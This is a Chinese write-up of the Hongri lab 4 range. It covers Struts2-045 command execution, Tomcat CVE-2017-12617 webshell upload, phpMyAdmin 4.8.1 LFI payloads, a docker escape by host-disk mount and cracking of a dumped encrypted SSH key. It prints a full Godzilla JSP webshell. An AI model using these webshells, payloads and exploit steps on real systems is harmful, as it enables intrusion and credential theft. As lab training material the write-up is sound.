红日靶场4

前言

---

技术要求：

struts2 漏洞利用
tomcat 漏洞利用
phpmyadmin getshell
docker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透

---

本次靶机一共三台，一台ubuntu、一台win7域成员主机、一台dc主机

ubuntu要求两张网卡，一张net网卡，一张内网仅主机网卡。net网卡：192.168.12.0 || 仅主机：192.168.183.0

win7只需要一张仅主机网卡即可。IP已经是配好的。不需要动！

dc也只需要一张仅主机网卡即可，和win7一样，不要动！

---

因为漏洞是在ubuntu的docker里面搭的，所以启动docker内漏洞

命令：sudo docker start ec 17 09 bb da 3d ab ad

---

外网渗透

信息收集

1、arp

┌──(root㉿ru)-[~/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:69:c7:bf, IPv4: 192.168.12.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.12.1    00:50:56:c0:00:08       VMware, Inc.
192.168.12.2    00:50:56:ec:d1:ca       VMware, Inc.
192.168.12.132  00:0c:29:51:f4:8e       VMware, Inc.
192.168.12.254  00:50:56:e9:25:0a       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.363 seconds (108.34 hosts/sec). 4 responded

---

这是一款kali自带的一款轻量ARP扫描工具，这个工具呢，会自动解析MAC地址，可以对应硬件厂商。由于它用的是arp协议，所以还是会快一些
我觉得吧，用来扫描局域网的主机还是挺好用的，因为扫描的少，所以扫描速度还是比较快，可以很快的查看到局域网有哪些主机和对应的MAC地址。
扫描到主机后，再配合Nmap使用，更加方便。

也可以用netdiscoveru或者masscan。

---

2、nmap

端口探测

┌──(root㉿ru)-[~/kali]
└─# nmap -p- 192.168.12.132 --min-rate 10000 -oA port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-13 10:31 CST
Nmap scan report for 192.168.12.132
Host is up (0.0019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
2001/tcp open  dc
2002/tcp open  globe
2003/tcp open  finger
MAC Address: 00:0C:29:51:F4:8E (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.64 seconds


快速提权端口信息
┌──(root㉿ru)-[~/kali]
└─# cat port.nmap | awk '{print $1}' | head -n 9 | tail -n 4 | awk -F "/" '{print $1}' | xargs -n 4 | sed 's/ /,/g'
22,2001,2002,2003

---

信息探测

┌──(root㉿ru)-[~/kali]
└─# nmap -sC -sV -sT -O -A -p 22,2001,2002,2003 192.168.12.132 --min-rate 10000 -oA XX
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-13 10:33 CST
Nmap scan report for 192.168.12.132
Host is up (0.00034s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 6d:1e:e7:55:ee:d7:2b:22:d7:6b:68:67:df:39:f5:7b (DSA)
|   2048 5e:ca:2c:70:8f:a2:0c:bf:10:d7:26:2b:15:5f:3f:58 (RSA)
|   256 de:b5:6a:a8:24:6a:13:45:cc:87:21:c3:c2:ee:b2:10 (ECDSA)
|_  256 8e:02:ca:99:6e:c2:eb:8f:0c:5c:bb:c9:b2:f5:06:4d (ED25519)
2001/tcp open  http    Jetty 9.2.11.v20150529
|_http-server-header: Jetty(9.2.11.v20150529)
| http-cookie-flags:
|   /:
|     JSESSIONID:
|_      httponly flag not set
|_http-title: Struts2 Showcase - Fileupload sample
2002/tcp open  http    Apache Tomcat 8.5.19
|_http-title: Apache Tomcat/8.5.19
|_http-favicon: Apache Tomcat
2003/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: 192.168.12.132:2003 / mysql | phpMyAdmin 4.8.1
|_http-server-header: Apache/2.4.25 (Debian)
MAC Address: 00:0C:29:51:F4:8E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.34 ms 192.168.12.132

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.95 seconds

---

这时我们可以看到structs2的指纹信息

2001：struts2
2002：Tomcat/8.5.19
2003：phpMyAdmin 4.8.1

---

22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open  http    Jetty 9.2.11.v20150529
2002/tcp open  http    Apache Tomcat 8.5.19
2003/tcp open  http    Apache httpd 2.4.25 ((Debian))

---

漏洞探测

┌──(root㉿ru)-[~/kali]
└─# nmap --script=vuln -p 22,2001,2002,2003 192.168.12.132 --min-rate 10000 -oA vuln
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-13 10:38 CST
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.12.132
Host is up (0.00025s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
2001/tcp open  dc
2002/tcp open  globe
2003/tcp open  finger
MAC Address: 00:0C:29:51:F4:8E (VMware)

Nmap done: 1 IP address (1 host up) scanned in 34.41 seconds

漏洞探测没有扫除什么，dos攻击的优先级最后！

3、nikto

┌──(root㉿ru)-[~/kali]
└─# nikto -h 192.168.12.132 nikto.txt
- Nikto v2.5.0
---------------------------------------------------------------------------
---------------------------------------------------------------------------
+ 0 host(s) tested

---

漏洞利用

1、struts2

┌──(root㉿ru)-[~/tools/loudong/Struts2/STS2G]
└─# ./ST2G --url http://192.168.12.132:2001/ --mode scan
未指定漏洞编号,默认全检测
Struts2-001 Not Vulnerable.
Struts2-005 Not Vulnerable.
Struts2-007 Not Vulnerable.
Struts2-008 Not Vulnerable.
Struts2-009 Not Vulnerable.
Struts2-012 Not Vulnerable.
Struts2-013 Not Vulnerable.
Struts2-015 Not Vulnerable.
Struts2-016 Not Vulnerable.
*Found Struts2-045！
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x69481e]

goroutine 1 [running]:
ST2G/cvemod/s046.Check({0x7ffd5d59d583, 0x1b})
        /root/tools/loudong/Struts2/STS2G/cvemod/s046/s2-046.go:28 +0x25e
main.main.func1(0xc00009d400?)
        /root/tools/loudong/Struts2/STS2G/ST2SG.go:143 +0x1fa
github.com/urfave/cli/v2.(*App).RunContext(0xc00012c000, {0x850ca0?, 0xacbe60}, {0xc000080050, 0x5, 0x5})
        /root/go/pkg/mod/github.com/urfave/cli/[email protected]/app.go:311 +0x962
github.com/urfave/cli/v2.(*App).Run(...)
        /root/go/pkg/mod/github.com/urfave/cli/[email protected]/app.go:211
main.main()
        /root/tools/loudong/Struts2/STS2G/ST2SG.go:218 +0x545

---

┌──(root㉿ru)-[~/tools/loudong/Struts2/STS2G]
└─# ./ST2G --url http://192.168.12.132:2001/ --mode exec --vn 45 --cmd 'ls -al /'
total 72
drwxr-xr-x   1 root root 4096 Jan 22  2020 .
drwxr-xr-x   1 root root 4096 Jan 22  2020 ..
-rwxr-xr-x   1 root root    0 Jan 22  2020 .dockerenv
drwxr-xr-x   1 root root 4096 Sep 12  2019 bin
drwxr-xr-x   2 root root 4096 Sep  8  2019 boot
drwxr-xr-x   5 root root  340 Dec 13 01:49 dev
drwxr-xr-x   1 root root 4096 Jan 22  2020 etc
drwxr-xr-x   2 root root 4096 Sep  8  2019 home
drwxr-xr-x   1 root root 4096 Sep 10  2019 lib
drwxr-xr-x   2 root root 4096 Sep 10  2019 lib64
drwxr-xr-x   2 root root 4096 Sep 10  2019 media
drwxr-xr-x   2 root root 4096 Sep 10  2019 mnt
drwxr-xr-x   2 root root 4096 Sep 10  2019 opt
dr-xr-xr-x 261 root root    0 Dec 13 01:49 proc
drwx------   1 root root 4096 Oct 12  2019 root
drwxr-xr-x   3 root root 4096 Sep 10  2019 run
drwxr-xr-x   1 root root 4096 Sep 12  2019 sbin
drwxr-xr-x   2 root root 4096 Sep 10  2019 srv
dr-xr-xr-x  13 root root    0 Dec 13 01:49 sys
drwxrwxrwt   1 root root 4096 Sep 14  2019 tmp
drwxr-xr-x   1 root root 4096 Sep 10  2019 usr
drwxr-xr-x   1 root root 4096 Sep 10  2019 var

在根目录发现 .dockerenv 目录，说明这些web应用运行在docker里面。我们也可以利用这个命令执行进行反弹shell，这里具体就不演示了，我们接着往下看！

---

https://github.com/xfiftyone/STS2G/tree/masterhttps://github.com/xfiftyone/STS2G/tree/master

---

---

访问2001端口，是一个上传页面！

---

2、tomcat

---

可以看到tomcat的版本信息，我们进行searchsploit搜索一下。

---

搜索

┌──(root㉿ru)-[~/kali]
└─# searchsploit tomcat 8.5.19
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8 | jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8 | windows/webapps/42953.txt
---------------------------------------------- ---------------------------------
Shellcodes: No Results

---

下载

┌──(root㉿ru)-[~/kali]
└─# searchsploit -m 42966.py
  Exploit: Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)
      URL: https://www.exploit-db.com/exploits/42966
     Path: /usr/share/exploitdb/exploits/jsp/webapps/42966.py
    Codes: CVE-2017-12617
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /root/kali/42966.py

---

使用说明

┌──(root㉿ru)-[~/kali]
└─# python 42966.py -h
Usage:


   _______      ________    ___   ___  __ ______     __ ___   __ __ ______
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / /
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/




./cve-2017-12617.py [options]

options:

-u ,--url [::] check target url if it's vulnerable
-p,--pwn  [::] generate webshell and upload it
-l,--list [::] hosts list

[+]usage:

./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt


[@intx0x80]



Options:
  -h, --help      show this help message and exit
  -u U, --url=U   Website Url
  -p P, --pwn=P   generate webshell and upload it
  -l L, --list=L  hosts File

---

┌──(root㉿ru)-[~/kali]
└─# python 42966.py -u http://192.168.12.132:2002/



   _______      ________    ___   ___  __ ______     __ ___   __ __ ______
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / /
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/



[@intx0x80]


Poc Filename  Poc.jsp
File Created ..
http://192.168.12.132:2002/ it's Vulnerable to CVE-2017-12617
http://192.168.12.132:2002//Poc.jsp


我们就成功的把jsp木马上传进去了！

---

┌──(root㉿ru)-[~/kali]
└─# python 42966.py -u http://192.168.12.132:2002/ -p pwn



   _______      ________    ___   ___  __ ______     __ ___   __ __ ______
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / /
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/



[@intx0x80]


Uploading Webshell .....
$ id
b"
\n
\n
\n
\n    \n    \n
uid=0(root) gid=0(root) groups=0(root)

-p这个参数的意思就是生成一个webshell并自动上传。上传完毕会自动给我们一个shell，访问页面也会给我们一个shell。

---

---

tomcat漏洞有很多，我们也可以尝试一下别的方式，比如PUT木马上传等。

这个靶机的tomcat对put和head协议是没有进行过滤！

---

2.1 PUT上传木马

先用哥斯拉生成一个jsp木马文件

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><% try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", new String(data));Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(pageContext);response.getWriter().write(md5.substring(0,16));response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>

---

---

---

---

---

这种方式也是可行的！

3、phpmyadmin

---

不需要账号密码，直接就可以访问到后台！

---

---

在这可以找到phpmyadmin的版本信息，那么我们再次去搜索一下。

---

┌──(root㉿ru)-[~/kali]
└─# searchsploit phpmyadmin 4.8.1
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
phpMyAdmin 4.8.1 - (Authenticated) Local File | php/webapps/44924.txt
phpMyAdmin 4.8.1 - (Authenticated) Local File | php/webapps/44928.txt
phpMyAdmin 4.8.1 - Remote Code Execution (RCE | php/webapps/50457.py
---------------------------------------------- ---------------------------------
Shellcodes: No Results

---

┌──(root㉿ru)-[~/kali]
└─# searchsploit -m 44924.txt
  Exploit: phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (1)
      URL: https://www.exploit-db.com/exploits/44924
     Path: /usr/share/exploitdb/exploits/php/webapps/44924.txt
    Codes: CVE-2018-12613
 Verified: True
File Type: ASCII text
Copied to: /root/kali/44924.txt

---

poc

The latest version downloaded from the official website, the file name is phpMyAdmin-4.8.1-all-languages.zip

The problem appears in /index.php

Find 55~63 lines

Line 61 contains include $_REQUEST['target'];

This is obviously LFI precursor, as long as we bypass the 55 to 59 restrictions on the line

Line 57 restricts the target parameter from beginning with index

Line 58 limit target parameter cannot appear within $target_blacklist

Find the definition of $target_blacklist :

In /index.php the first of 50 lines

As long as the target parameter is not import.php or export.php, the last limit is Core::checkPageValidity($_REQUEST['target'])

Find the checkPageValidity method of the Core class :

Defined in the \ libraries \ classes \ core.php on the 443 line

The problem is in urldecode() on line 465

We can use this function to bypass the white list detection!

I ? Twice url encoded as % 253f can bypass the validation!

Payload:

http://127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini


- - -

I thought the loophole was over, because I didn't find out where phpmyadmin could perform file operations to implement Getshell . After several weeks of inspiration, I thought of a way to get Shell without writing files .

We all know that after login phpmyadmin , the database is completely controllable, then we can write the WebShell to the database and then include the database file?

Tested locally, I found that if you use WebShell as the field value of the data table can be perfectly written to the database file:

Find the corresponding database file:

Include:

Payload:

http://127.0.0.1/phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../phpStudy/PHPTutorial/MySQL/data/hack/hack.frm   

---

payload

http://192.168.12.132:2003/index.php?target=db_sql.php%253f/../../../../../../etc/passwd

---

---

payload

因为我们写入的东西都会存在sessions里面，我们只需要利用文件包含sessions即可。而且phpmyadmin的sessions默认存储路径是 /tmp/sess_{you session}

select ""

http://192.168.12.132:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_64ad69b15f4f7d02f846c23aa56907fa

---

---

---

测试成功，我们直接写入木马也是可以的。

---

select '");?>';

new session = 16415f93a193eedf3e233d01ecbc4f49

http://192.168.12.132:2003/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_16415f93a193eedf3e233d01ecbc4f49

---

---

---

---

phpmyadmin利用成功！

---

docker逃逸

Docker逃逸漏洞目前已知有

Dirty Cow（CVE-2016-5195）是Linux内核中的权限提升漏洞
CVE-2019-5736
emote api 未授权访问

这里的CVE-2019-5736是可以使用的，不过需要另外下载poc，我这里演示另外一种方式，手动挂载宿主磁盘进行ssh登录。
CVE-2019-5736的poc用的是go语言，所以使用这个poc还需下载go并配置go。

---

1、挂载宿主磁盘

/usr/local/tomcat/ >fdisk -l

Disk /dev/sda: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00063af9

Device     Boot    Start      End  Sectors Size Id Type
/dev/sda1  *        2048 16779263 16777216   8G 83 Linux
/dev/sda2       16781310 20969471  4188162   2G  5 Extended
/dev/sda5       16781312 20969471  4188160   2G 82 Linux swap / Solaris



/usr/local/tomcat/ >

---

因为手动挂载宿主磁盘需要root权限，所以我们使用之前打进去的哥斯拉终端。

使用 fdisk -l 确认了宿主磁盘，我们直接开搞！

---

---

1、mkdir /shell
2、chmod 777 /shell
3、mount /dev/sda1 /shell
4、ls /shell

---

---

这样我们就挂载成功了！

---

---

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6DC4277EB4DC1AF7B2C02CAD8F8E85E2

OnKLlXLp+VZ0pH/2lC1/m6/gFViUBJV8I4YugGWShDjmOZ8vpsC/q+vUDtH5pkkj
uFu237oUmhvmtCpSuhHaEVu+URPMh/0v7SnVTJzPvXAyRzZrHlK2UKuyHNuP/CDC
R+yVqQZ00xC6Rej2atOP9mONmNnhLIhQkoolfRrBDV5DCznHO1i7m/CgQ4Qf/LrM
FhfmQJ6suEXx+AAhoK+Wk0OqUwgSqM09FPJE1FvdFy/FGgKx4OzGWPn7VBd/EkpL
3v/AENs/RVCDouRs9lUrZj7OD3BejcUgPfzBZ5v57VjMcbyhGsCtyhfLyoRDuxr/
XutUzlqI94AVqTDdQtpRqOiKI6mSWK9i+hqwk1MNukZKp+2+48m6fb/AMjG4mjnQ
QcNSQwuBryfQxILMVUsOvyfNT2dafn4Q77QLV9rZY6k73wdaGF2RuBwnkZpEtpau
Y2Q2rUAVHl2x3UW3F3NngIWYQ8kU/Usd5hUiFicWAkdVJi2GnFemPpUGBKQgQdEz
JPoUtXJSkZX5l7hxfoGse+268+qdLIHFBprPoU8JH1D4aTPG7HhJv574yxDcaRuW
TUhqhTWoEq5ZkD9tJwPC6u6t/3XwHvx8OjsvCh8AiM75m0XV8Du91Q3bjmt7TzDB
bGuh+1kHXB6QKFwuQ/9v2Litxg5lNDTve5CZMrQlATyi/RWE1eyujxpnbFOL1TmH
6LHinYX4I1bWA2O3rFzBn9vj0aikVa/3aYT9rsHRu7MeNzkQBbtukkzuM7G7ZcuI
/AYbTKq2o7JHhO3rbiOcd22g6ME80JhVlXUNlJPk20u+RescgJKJ7RTLcLiqy08Q
Hepnetq8ijwmRl7DYYDTBry30HpD/JdBbL6OsstGj+uSM50okPGN+9fNemDzITfW
Dj9aN8kHZfIxQxvlx0eK28Kxe7oF/NAIvpV3Exm7zBooBzNqHM3HkphZHwjKSWWN
sZsW4d1VuTRLapTQRYPtOAS5ZCH6tVDIvQU9g8ksxQb5a/MSXU0NUMBnm4WOgt+T
55txs6Plcys+GCLzdD/7EeFiuNlIZ4eyQCBC8jN4azPm+ZWOR+P3zHLPRyTGhm8Y
JHr0aGgIbJ4Qm+JGrz0cIA3No5FciEtPxq1hAkstn93ZBeXkpIGtyI3CrfPdLSo1
l6Ki1V/Uj+rLq3IqLi4anxVZ15EK+xED2Ql3F7GeWZ1SN69wCPvniSPrpK/0hPbj
bO7sWbxBJO26o2kog451oyr0i32xEXrhfaurdCCjWIruC/eFY/b6ANNI5a34Uks3
fXhZLC2q2wnTh/02wzKoWZkfiams/PqiUPHYncp6DQ8D2dHOup3Kr28nNJR+sdUX
m/FXcuyargJYyJ0ChyIb+1RnmcLIedxX/m8Nmy+FKb8d36ailr9al2f0HcKNPfv8
a8FhDStxj2lDUzbdp4q0cqq5Ys6MkTyY6eoxEqGqaqj2EeKnqzd4NydW8bTHfzFo
ml853a7WQEIcH8g+3RX1HvmXP+PgQBZvqksFMthqCPb/8jGC6zjj0//VJSrfpyaC
SfxA7VOc8I1Wpg2rYC1e336DdxIF1PYUqxYKPtMe+vc5S24V6Nuttvkfrtv3MTW8
-----END RSA PRIVATE KEY-----

---

2、ssh_rsa爆破

ssh2john

┌──(root㉿ru)-[~/kali]
└─# vim id_rsa

┌──(root㉿ru)-[~/kali]
└─# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6DC4277EB4DC1AF7B2C02CAD8F8E85E2

OnKLlXLp+VZ0pH/2lC1/m6/gFViUBJV8I4YugGWShDjmOZ8vpsC/q+vUDtH5pkkj
uFu237oUmhvmtCpSuhHaEVu+URPMh/0v7SnVTJzPvXAyRzZrHlK2UKuyHNuP/CDC
R+yVqQZ00xC6Rej2atOP9mONmNnhLIhQkoolfRrBDV5DCznHO1i7m/CgQ4Qf/LrM
FhfmQJ6suEXx+AAhoK+Wk0OqUwgSqM09FPJE1FvdFy/FGgKx4OzGWPn7VBd/EkpL
3v/AENs/RVCDouRs9lUrZj7OD3BejcUgPfzBZ5v57VjMcbyhGsCtyhfLyoRDuxr/
XutUzlqI94AVqTDdQtpRqOiKI6mSWK9i+hqwk1MNukZKp+2+48m6fb/AMjG4mjnQ
QcNSQwuBryfQxILMVUsOvyfNT2dafn4Q77QLV9rZY6k73wdaGF2RuBwnkZpEtpau
Y2Q2rUAVHl2x3UW3F3NngIWYQ8kU/Usd5hUiFicWAkdVJi2GnFemPpUGBKQgQdEz
JPoUtXJSkZX5l7hxfoGse+268+qdLIHFBprPoU8JH1D4aTPG7HhJv574yxDcaRuW
TUhqhTWoEq5ZkD9tJwPC6u6t/3XwHvx8OjsvCh8AiM75m0XV8Du91Q3bjmt7TzDB
bGuh+1kHXB6QKFwuQ/9v2Litxg5lNDTve5CZMrQlATyi/RWE1eyujxpnbFOL1TmH
6LHinYX4I1bWA2O3rFzBn9vj0aikVa/3aYT9rsHRu7MeNzkQBbtukkzuM7G7ZcuI
/AYbTKq2o7JHhO3rbiOcd22g6ME80JhVlXUNlJPk20u+RescgJKJ7RTLcLiqy08Q
Hepnetq8ijwmRl7DYYDTBry30HpD/JdBbL6OsstGj+uSM50okPGN+9fNemDzITfW
Dj9aN8kHZfIxQxvlx0eK28Kxe7oF/NAIvpV3Exm7zBooBzNqHM3HkphZHwjKSWWN
sZsW4d1VuTRLapTQRYPtOAS5ZCH6tVDIvQU9g8ksxQb5a/MSXU0NUMBnm4WOgt+T
55txs6Plcys+GCLzdD/7EeFiuNlIZ4eyQCBC8jN4azPm+ZWOR+P3zHLPRyTGhm8Y
JHr0aGgIbJ4Qm+JGrz0cIA3No5FciEtPxq1hAkstn93ZBeXkpIGtyI3CrfPdLSo1
l6Ki1V/Uj+rLq3IqLi4anxVZ15EK+xED2Ql3F7GeWZ1SN69wCPvniSPrpK/0hPbj
bO7sWbxBJO26o2kog451oyr0i32xEXrhfaurdCCjWIruC/eFY/b6ANNI5a34Uks3
fXhZLC2q2wnTh/02wzKoWZkfiams/PqiUPHYncp6DQ8D2dHOup3Kr28nNJR+sdUX
m/FXcuyargJYyJ0ChyIb+1RnmcLIedxX/m8Nmy+FKb8d36ailr9al2f0HcKNPfv8
a8FhDStxj2lDUzbdp4q0cqq5Ys6MkTyY6eoxEqGqaqj2EeKnqzd4NydW8bTHfzFo
ml853a7WQEIcH8g+3RX1HvmXP+PgQBZvqksFMthqCPb/8jGC6zjj0//VJSrfpyaC
SfxA7VOc8I1Wpg2rYC1e336DdxIF1PYUqxYKPtMe+vc5S24V6Nuttvkfrtv3MTW8
-----END RSA PRIVATE KEY-----

┌──(root㉿ru)-[~/kali]
└─# ssh2john id_rsa > hash

┌──(root㉿ru)-[~/kali]
└─# cat hash
id_rsa:$sshng$1$16$6DC4277EB4DC1AF7B2C02CAD8F8E85E2$1200$3a728b9572e9f95674a47ff6942d7f9bafe015589404957c23862e8065928438e6399f2fa6c0bfabebd40ed1f9a64923b85bb6dfba149a1be6b42a52ba11da115bbe5113cc87fd2fed29d54c9ccfbd703247366b1e52b650abb21cdb8ffc20c247ec95a90674d310ba45e8f66ad38ff6638d98d9e12c8850928a257d1ac10d5e430b39c73b58bb9bf0a043841ffcbacc1617e6409eacb845f1f80021a0af969343aa530812a8cd3d14f244d45bdd172fc51a02b1e0ecc658f9fb54177f124a4bdeffc010db3f455083a2e46cf6552b663ece0f705e8dc5203dfcc1679bf9ed58cc71bca11ac0adca17cbca8443bb1aff5eeb54ce5a88f78015a930dd42da51a8e88a23a99258af62fa1ab093530dba464aa7edbee3c9ba7dbfc03231b89a39d041c352430b81af27d0c482cc554b0ebf27cd4f675a7e7e10efb40b57dad963a93bdf075a185d91b81c27919a44b696ae636436ad40151e5db1dd45b717736780859843c914fd4b1de61522162716024755262d869c57a63e950604a42041d13324fa14b572529195f997b8717e81ac7bedbaf3ea9d2c81c5069acfa14f091f50f86933c6ec7849bf9ef8cb10dc691b964d486a8535a812ae59903f6d2703c2eaeeadff75f01efc7c3a3b2f0a1f0088cef99b45d5f03bbdd50ddb8e6b7b4f30c16c6ba1fb59075c1e90285c2e43ff6fd8b8adc60e653434ef7b909932b425013ca2fd1584d5ecae8f1a676c538bd53987e8b1e29d85f82356d60363b7ac5cc19fdbe3d1a8a455aff76984fdaec1d1bbb31e37391005bb6e924cee33b1bb65cb88fc061b4caab6a3b24784edeb6e239c776da0e8c13cd0985595750d9493e4db4bbe45eb1c809289ed14cb70b8aacb4f101dea677adabc8a3c26465ec36180d306bcb7d07a43fc97416cbe8eb2cb468feb92339d2890f18dfbd7cd7a60f32137d60e3f5a37c90765f231431be5c7478adbc2b17bba05fcd008be95771319bbcc1a2807336a1ccdc79298591f08ca49658db19b16e1dd55b9344b6a94d04583ed3804b96421fab550c8bd053d83c92cc506f96bf3125d4d0d50c0679b858e82df93e79b71b3a3e5732b3e1822f3743ffb11e162b8d9486787b2402042f233786b33e6f9958e47e3f7cc72cf4724c6866f18247af46868086c9e109be246af3d1c200dcda3915c884b4fc6ad61024b2d9fddd905e5e4a481adc88dc2adf3dd2d2a3597a2a2d55fd48feacbab722a2e2e1a9f1559d7910afb1103d9097717b19e599d5237af7008fbe78923eba4aff484f6e36ceeec59bc4124edbaa36928838e75a32af48b7db1117ae17dabab7420a3588aee0bf78563f6fa00d348e5adf8524b377d78592c2daadb09d387fd36c332a859991f89a9acfcfaa250f1d89dca7a0d0f03d9d1ceba9dcaaf6f2734947eb1d5179bf15772ec9aae0258c89d0287221bfb546799c2c879dc57fe6f0d9b2f8529bf1ddfa6a296bf5a9767f41dc28d3dfbfc6bc1610d2b718f69435336dda78ab472aab962ce8c913c98e9ea3112a1aa6aa8f611e2a7ab3778372756f1b4c77f31689a5f39ddaed640421c1fc83edd15f51ef9973fe3e040166faa4b0532d86a08f6fff23182eb38e3d3ffd5252adfa7268249fc40ed539cf08d56a60dab602d5edf7e83771205d4f614ab160a3ed31efaf7394b6e15e8dbadb6f91faedbf73135bc

---

ssh2john工具可以把ssh密钥编译成哈希散列。

---

john

┌──(root㉿ru)-[~/kali]
└─# john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
